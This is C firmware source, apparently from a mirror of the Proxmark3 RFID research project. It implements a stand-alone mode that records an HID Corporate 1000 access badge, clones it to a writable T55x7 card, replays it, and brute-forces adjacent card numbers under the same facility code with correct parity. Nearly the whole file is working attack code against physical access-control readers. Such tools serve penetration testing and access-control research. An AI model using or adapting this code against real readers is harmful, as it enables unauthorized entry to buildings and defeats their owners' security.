mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2024-09-20 15:26:13 +08:00
330 lines
11 KiB
C
330 lines
11 KiB
C
//-----------------------------------------------------------------------------
|
|
// Copyright (C) Federico Dotta and Maurizio Agazzini, 2015
|
|
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
|
|
//
|
|
// This program is free software: you can redistribute it and/or modify
|
|
// it under the terms of the GNU General Public License as published by
|
|
// the Free Software Foundation, either version 3 of the License, or
|
|
// (at your option) any later version.
|
|
//
|
|
// This program is distributed in the hope that it will be useful,
|
|
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
// GNU General Public License for more details.
|
|
//
|
|
// See LICENSE.txt for the text of the license.
|
|
//-----------------------------------------------------------------------------
|
|
// PROXMARK3 - HID CORPORATE 1000 BRUTEFORCER (STAND-ALONE MODE)
|
|
//
|
|
// The new stand-alone mode allows to execute a bruteforce on HID Corporate 1000 readers, by
|
|
// reading a specific badge and bruteforcing the Card Number (incrementing and decrementing it),
|
|
// mainteining the same Facility Code of the original badge.
|
|
//
|
|
// Based on an idea of Brad Antoniewicz of McAfee® Foundstone® Professional Services (ProxBrute),
|
|
// the stand-alone mode has been rewritten in order to overcome some limitations of ProxBrute firmware,
|
|
// that does not consider parity bits.
|
|
//
|
|
// https://github.com/federicodotta/proxmark3
|
|
//
|
|
//-----------------------------------------------------------------------------------
|
|
// main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini
|
|
//-----------------------------------------------------------------------------------
|
|
#include "standalone.h" // standalone definitions
|
|
#include "lf_hidbrute.h"
|
|
|
|
#include "proxmark3_arm.h"
|
|
#include "appmain.h"
|
|
#include "fpgaloader.h"
|
|
#include "util.h"
|
|
#include "dbprint.h"
|
|
#include "ticks.h"
|
|
#include "lfops.h"
|
|
|
|
#define OPTS 3
|
|
|
|
void ModInfo(void) {
|
|
DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)");
|
|
}
|
|
|
|
// samy's sniff and repeat routine for LF
|
|
void RunMod(void) {
|
|
StandAloneMode();
|
|
Dbprintf(">> LF HID corporate bruteforce a.k.a CorporateBrute Started <<");
|
|
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
|
|
|
|
uint32_t high[OPTS], low[OPTS];
|
|
int selected = 0;
|
|
int playing = 0;
|
|
int cardRead = 0;
|
|
|
|
for (;;) {
|
|
|
|
WDT_HIT();
|
|
|
|
// exit from SamyRun, send a usbcommand.
|
|
if (data_available()) break;
|
|
|
|
// Was our button held down or pressed?
|
|
int button_pressed = BUTTON_HELD(280);
|
|
if (button_pressed != BUTTON_HOLD)
|
|
continue;
|
|
|
|
// Button was held for a second, begin recording
|
|
if (cardRead == 0) {
|
|
LEDsoff();
|
|
LED(selected + 1, 0);
|
|
LED(LED_D, 0);
|
|
|
|
WAIT_BUTTON_RELEASED();
|
|
|
|
// record
|
|
DbpString("[=] starting recording");
|
|
|
|
lf_hid_watch(1, &high[selected], &low[selected], true);
|
|
Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]);
|
|
|
|
LEDsoff();
|
|
LED(selected + 1, 0);
|
|
// Finished recording
|
|
// If we were previously playing, set playing off
|
|
// so next button push begins playing what we recorded
|
|
playing = 0;
|
|
cardRead = 1;
|
|
} else if (button_pressed == BUTTON_HOLD && cardRead == 1) {
|
|
LEDsoff();
|
|
LED(selected + 1, 0);
|
|
LED(LED_A, 0);
|
|
|
|
// record
|
|
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
|
|
|
|
WAIT_BUTTON_RELEASED();
|
|
|
|
CopyHIDtoT55x7(0, high[selected], low[selected], 0, false, false, true);
|
|
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
|
|
|
|
LEDsoff();
|
|
LED(selected + 1, 0);
|
|
// Finished recording
|
|
|
|
// If we were previously playing, set playing off
|
|
// so next button push begins playing what we recorded
|
|
playing = 0;
|
|
cardRead = 0;
|
|
}
|
|
|
|
// Change where to record (or begin playing)
|
|
else if (button_pressed != BUTTON_NO_CLICK) {
|
|
// Next option if we were previously playing
|
|
if (playing)
|
|
selected = (selected + 1) % OPTS;
|
|
|
|
playing = !playing;
|
|
|
|
LEDsoff();
|
|
LED(selected + 1, 0);
|
|
|
|
// Begin transmitting
|
|
if (playing && selected != 2) {
|
|
|
|
LED(LED_B, 0);
|
|
DbpString("[=] playing");
|
|
|
|
WAIT_BUTTON_RELEASED();
|
|
|
|
Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]);
|
|
CmdHIDsimTAG(0, high[selected], low[selected], 0, 0);
|
|
DbpString("[=] done playing");
|
|
|
|
if (BUTTON_HELD(1000) == BUTTON_HOLD)
|
|
goto out;
|
|
|
|
/* We pressed a button so ignore it here with a delay */
|
|
SpinDelay(300);
|
|
|
|
// when done, we're done playing, move to next option
|
|
selected = (selected + 1) % OPTS;
|
|
playing = !playing;
|
|
LEDsoff();
|
|
LED(selected + 1, 0);
|
|
} else if (playing && selected == 2) {
|
|
// Now it work only with HID Corporate 1000 (35bit), but is easily extensible to others RFID.
|
|
// It is necessary only to calculate the correct parity.
|
|
|
|
// Brute force code
|
|
// Check if the badge is an HID Corporate 1000
|
|
if ((high[selected] & 0xFFFFFFF8) != 0x28) {
|
|
DbpString("[-] Card is not a HID Corporate 1000. Skipping bruteforce.");
|
|
continue;
|
|
}
|
|
|
|
LED(LED_B, 0);
|
|
DbpString("[=] entering bruteforce mode");
|
|
|
|
WAIT_BUTTON_RELEASED();
|
|
|
|
// Calculate Facility Code and Card Number from high and low
|
|
uint32_t cardnum = (low[selected] >> 1) & 0xFFFFF;
|
|
uint32_t fc = ((high[selected] & 1) << 11) | (low[selected] >> 21);
|
|
uint32_t original_cardnum = cardnum;
|
|
|
|
Dbprintf("[=] HID brute - starting decrementing card number");
|
|
|
|
while (cardnum > 0) {
|
|
|
|
// Needed for exiting from proxbrute when button is pressed
|
|
if (BUTTON_PRESS()) {
|
|
if (BUTTON_HELD(1000) == BUTTON_HOLD) {
|
|
goto out;
|
|
} else {
|
|
while (BUTTON_PRESS()) {
|
|
WDT_HIT();
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Decrement Card Number
|
|
cardnum--;
|
|
|
|
// Calculate checksum of HID Corporate 1000 and set card number and facility code in high and low variables
|
|
hid_corporate_1000_calculate_checksum_and_set(&high[selected], &low[selected], cardnum, fc);
|
|
|
|
// Print actual code to brute
|
|
Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum);
|
|
|
|
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000);
|
|
}
|
|
|
|
cardnum = original_cardnum;
|
|
|
|
Dbprintf("[=] HID brute - starting incrementing card number");
|
|
|
|
while (cardnum <= 0xFFFFF) {
|
|
|
|
// Needed for exiting from proxbrute when button is pressed
|
|
if (BUTTON_PRESS()) {
|
|
if (BUTTON_HELD(1000) == BUTTON_HOLD) {
|
|
goto out;
|
|
} else {
|
|
while (BUTTON_PRESS()) { WDT_HIT(); }
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Decrement Card Number
|
|
cardnum++;
|
|
|
|
// Calculate checksum of HID Corporate 1000 and set card number and facility code in high and low variables
|
|
hid_corporate_1000_calculate_checksum_and_set(&high[selected], &low[selected], cardnum, fc);
|
|
|
|
// Print actual code to brute
|
|
Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum);
|
|
|
|
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000);
|
|
}
|
|
|
|
DbpString("[=] done bruteforcing");
|
|
if (BUTTON_HELD(1000) == BUTTON_HOLD)
|
|
goto out;
|
|
|
|
/* We pressed a button so ignore it here with a delay */
|
|
SpinDelay(300);
|
|
|
|
// when done, we're done playing, move to next option
|
|
selected = (selected + 1) % OPTS;
|
|
playing = !playing;
|
|
LEDsoff();
|
|
LED(selected + 1, 0);
|
|
|
|
} else {
|
|
WAIT_BUTTON_RELEASED();
|
|
}
|
|
}
|
|
}
|
|
|
|
out:
|
|
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
|
|
DbpString("[=] exiting");
|
|
LEDsoff();
|
|
}
|
|
|
|
// Function that calculate next value for the brutforce of HID corporate 1000
|
|
void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) {
|
|
|
|
uint32_t new_high = 0;
|
|
uint32_t new_low = 0;
|
|
|
|
// Calculate new high and low base value from card number and facility code, without parity
|
|
new_low = (fc << 21) | (cardnum << 1);
|
|
new_high = 0x28 | ((fc >> 11) & 1); // 0x28 is 101000
|
|
|
|
int n_ones;
|
|
uint32_t i;
|
|
|
|
// Calculating and setting parity bit 34
|
|
// Select only bit used for parity bit 34 in low number (10110110110110110110110110110110)
|
|
uint32_t parity_bit_34_low = new_low & 0xB6DB6DB6;
|
|
n_ones = 0;
|
|
// Calculate number of ones in low number
|
|
for (i = 1; i != 0; i <<= 1) {
|
|
if (parity_bit_34_low & i)
|
|
n_ones++;
|
|
}
|
|
// Calculate number of ones in high number
|
|
if (new_high & 1)
|
|
n_ones++;
|
|
|
|
// Set parity bit (Even parity)
|
|
if (n_ones % 2)
|
|
new_high = new_high | 0x2;
|
|
|
|
// Calculating and setting parity bit 1
|
|
// Select only bit used for parity bit 1 in low number (01101101101101101101101101101100)
|
|
uint32_t parity_bit_1_low = new_low & 0x6DB6DB6C;
|
|
n_ones = 0;
|
|
|
|
// Calculate number of ones in low number
|
|
for (i = 1; i != 0; i <<= 1) {
|
|
if (parity_bit_1_low & i)
|
|
n_ones++;
|
|
}
|
|
// Calculate number of ones in high number
|
|
if (new_high & 0x1)
|
|
n_ones++;
|
|
|
|
if (new_high & 0x2)
|
|
n_ones++;
|
|
|
|
// Set parity bit (Odd parity)
|
|
if (!(n_ones % 2))
|
|
new_low = new_low | 0x1;
|
|
|
|
// Calculating and setting parity bit 35
|
|
n_ones = 0;
|
|
// Calculate number of ones in low number (all bit of low, bitmask unnecessary)
|
|
for (i = 1; i != 0; i <<= 1) {
|
|
if (new_low & i)
|
|
n_ones++;
|
|
}
|
|
// Calculate number of ones in high number
|
|
if (new_high & 0x1)
|
|
n_ones++;
|
|
|
|
if (new_high & 0x2)
|
|
n_ones++;
|
|
|
|
// Set parity bit (Odd parity)
|
|
if (!(n_ones % 2))
|
|
new_high = new_high | 0x4;
|
|
|
|
// Setting new calculated values
|
|
*low = new_low;
|
|
*high = new_high;
|
|
}
|
|
|
|
// prepare a waveform pattern in the buffer based on the ID given then
|
|
// simulate a HID tag until the button is pressed or after #numcycles cycles
|
|
// Used to bruteforce HID in standalone mode.
|
|
|